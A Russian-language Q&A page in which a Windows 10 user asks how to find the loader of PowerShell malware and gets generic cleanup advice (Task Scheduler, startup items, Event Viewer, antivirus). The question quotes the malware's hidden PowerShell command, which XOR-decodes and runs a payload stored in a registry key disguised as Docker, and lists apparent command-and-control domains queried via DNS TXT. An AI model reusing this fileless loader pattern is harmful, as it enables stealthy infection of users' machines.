Посещая наш сайт, вы соглашаетесь с нашей политикой конфиденциальности в отношении файлов cookie, статистики отслеживания и т. д.

Главная » Вопросы и ответы » Информационная безопасность

Где я могу найти загрузчик для этого вируса, который использует PowerShell?

На чтение 7 мин Опубликовано
Содержание
  1. Вопрос или проблема
  2. Ответ или решение
  3. 1. Проверка запланированных задач (Task Scheduler)
  4. 2. Проверка автозагрузки
  5. 3. Просмотр системных журналов
  6. 4. Сканирование на вирусы и вредоносное ПО
  7. 5. Удаление вредоносных компонентов
  8. 6. Обновление системы и программ
  9. Заключение

Вопрос или проблема

На моем компьютере с Windows 10, через около 30 минут после включения, у меня всегда открывается окно PowerShell, которое сразу скрывается и потребляет много оперативной памяти.

Я перешел в директорию PowerShell:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

С помощью программы Что блокирует этот файл? на powershell.exe я получил PID процесса и команду, которая была выполнена:

powershell.exe
  Идентификатор процесса: 2140
  Командная строка: powershell.exe -winDOWSTYLE hIDdEn -COmMAND "ICM ([sCRIPtbLOCk]::cREatE([StRing]::JoIN('', ((get-itempROperTy -paTH 'hklM:\SoFTWare\DOCKEr InC.XzPOAG').'XzPOAGWm' | % { [char]($_ -bXOr 179) }))))"

Так как у меня есть PID, с помощью Autohokey я заставил окно показаться и получил следующее:

Resolve-DnsName : wmail-endpoint.com : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (wmail-endpoint.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : bideo-blog.com : Ошибка DNS-сервера
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (bideo-blog.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : RCODE_SERVER_FAILURE,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-blog.com : Ошибка DNS-сервера
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-blog.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : RCODE_SERVER_FAILURE,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-cdn.com : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-cdn.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-chat.com : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-chat.com:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : fairu-blog.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (fairu-blog.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : fairu-chat.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (fairu-chat.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : fairu-cdn.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (fairu-cdn.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : bideo-blog.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (bideo-blog.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : bideo-schnellvpn.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (bideo-schnellvpn.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-endpoint.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-endpoint.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : privatproxy-chat.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (privatproxy-chat.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-blog.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-blog.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-chat.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-chat.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Resolve-DnsName : ahoravideo-cdn.xyz : DNS-имя не существует
В строке: 8 Символ: 16
+         $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (ahoravideo-cdn.xyz:String) [Resolve-DnsName], Win32Exception
    + FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName

Из того, что я понимаю, он пытается подключиться к серверу, чтобы отправить мой экран (или, что еще хуже, это программа-вымогатель), но URLs больше не действительны, я предполагаю, что закон закрыл их или что-то в этом роде.

В команде упоминается Docker, однако я не использую Docker, так что это, вероятно, просто название для запутывания, я уже убедился, что удалил этот ключ реестра, хотя сохранил копию, содержание было бинарным размером примерно 19 Кб.

Спустя некоторое время запускаются эти две команды:

powershell.exe
  Идентификатор процесса: 3192
  Командная строка: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

powershell.exe
  Идентификатор процесса: 6628
  Командная строка: "powershell.exe"

И что меня здесь интригует, так это какое намерение у этих последних двух команд? Хотя PID доступен, мне было невозможно заставить окно показаться.

Итак, до этого места – отладка, что я хочу знать, основываясь на этой информации, как найти загрузчик? Потому что даже если я удалил реестр, найденный в первой команде, загрузчик все еще работает.

Скорее всего, он запускается из планировщика задач Windows, где были созданы некоторые запланированные задачи, когда он заразил ваш компьютер.

Ответ или решение

Ваша ситуация требует внимательного анализа и действий, чтобы устранить угрозу. Судя по предоставленным вами данным, ваш компьютер, вероятно, заражен вредоносным ПО, использующим PowerShell для выполнения своих задач, и вам нужно найти источник запуска этого процесса. Вот несколько шагов, которые вам стоит предпринять:

1. Проверка запланированных задач (Task Scheduler)

Поскольку вредоносное ПО может создавать запланированные задачи для автоматического запуска, вам стоит проверить их:

  1. Откройте "Планировщик задач" (Task Scheduler):

    • Нажмите Win + R, введите taskschd.msc и нажмите Enter.

  2. В "Планировщике задач" посмотрите на все задачи, особенно в следующих разделах:

    • Библиотека планировщика задач (Task Scheduler Library)
    • Задачи Microsoft (Microsoft Tasks)

  3. Проверьте, есть ли задачи, связанные с PowerShell, или задачи, которые были созданы недавно. Обратите внимание на любые необычные имена или задачи, которые запускаются под счётной записью SYSTEM или другими учетными записями.

2. Проверка автозагрузки

Также стоит исследовать элементы автозагрузки, которые могут загружать вредоносный код при старте системы:

  1. Откройте "Диспетчер задач" (Task Manager) нажатием Ctrl + Shift + Esc.

  2. Перейдите на вкладку Автозагрузка (Startup) и отключите все подозрительные элементы.

  3. Вы также можете использовать утилиту msconfig для проверки параметров загрузки.

    • Нажмите Win + R, введите msconfig, перейдите на вкладку "Автозагрузка" и проверьте все пункты.

3. Просмотр системных журналов

Вы можете использовать Просмотр событий (Event Viewer) для проверки системных журналов, чтобы выяснить, какая программа или операция инициировала запуск PowerShell:

  1. Нажмите Win + R, введите eventvwr и нажмите Enter.
  2. Перейдите в раздел Windows Logs → Application, и посмотрите на последние записи на предмет ошибок или событий, связанных с запуском PowerShell или других подозрительных процессах.

4. Сканирование на вирусы и вредоносное ПО

Поскольку ваша система может быть заражена, рекомендуется выполнить полное сканирование с помощью антивирусного программного обеспечения:

  1. Используйте Windows Defender или другой надежный антивирус, чтобы провести полное сканирование системы.
  2. Рассмотрите возможность использования дополнительных инструментов, таких как Malwarebytes, для поиска и удаления вредоносных программ.

5. Удаление вредоносных компонентов

Если вы точно определите, откуда исходит угроза (например, из запланированных задач или определенных папок), вам может понадобиться вручную удалить связанные файлы и записи реестра:

  1. Будьте осторожны при удалении файлов и записей в реестре. Создайте резервные копии перед изменениями.
  2. Удалите любые подозрительные записи или папки.

6. Обновление системы и программ

Убедитесь, что ваша операционная система и все программы обновлены до последней версии. Это поможет защитить вашу систему от известных уязвимостей.

Заключение

Операции по очистке вашего ПК от вредоносных программ и нахождению источника запуска могут занять некоторое время. Важно действовать осторожно и методично, чтобы не усугубить ситуацию. Если вы не уверены в своих действиях, рассмотрите возможность обращения за помощью к специалистам по безопасности.

attacks ransomware virus
Оцените материал
Добавить комментарий

Капча загружается...

© 2024 IZ6.RU
*В материалах сайта упоминаются социальные сети Фейсбук / Инстаграм, принадлежащие Meta Platforms Inc., деятельность которой запрещена на территории РФ в части реализации данных социальных сетей на основании осуществления ею экстремистской деятельности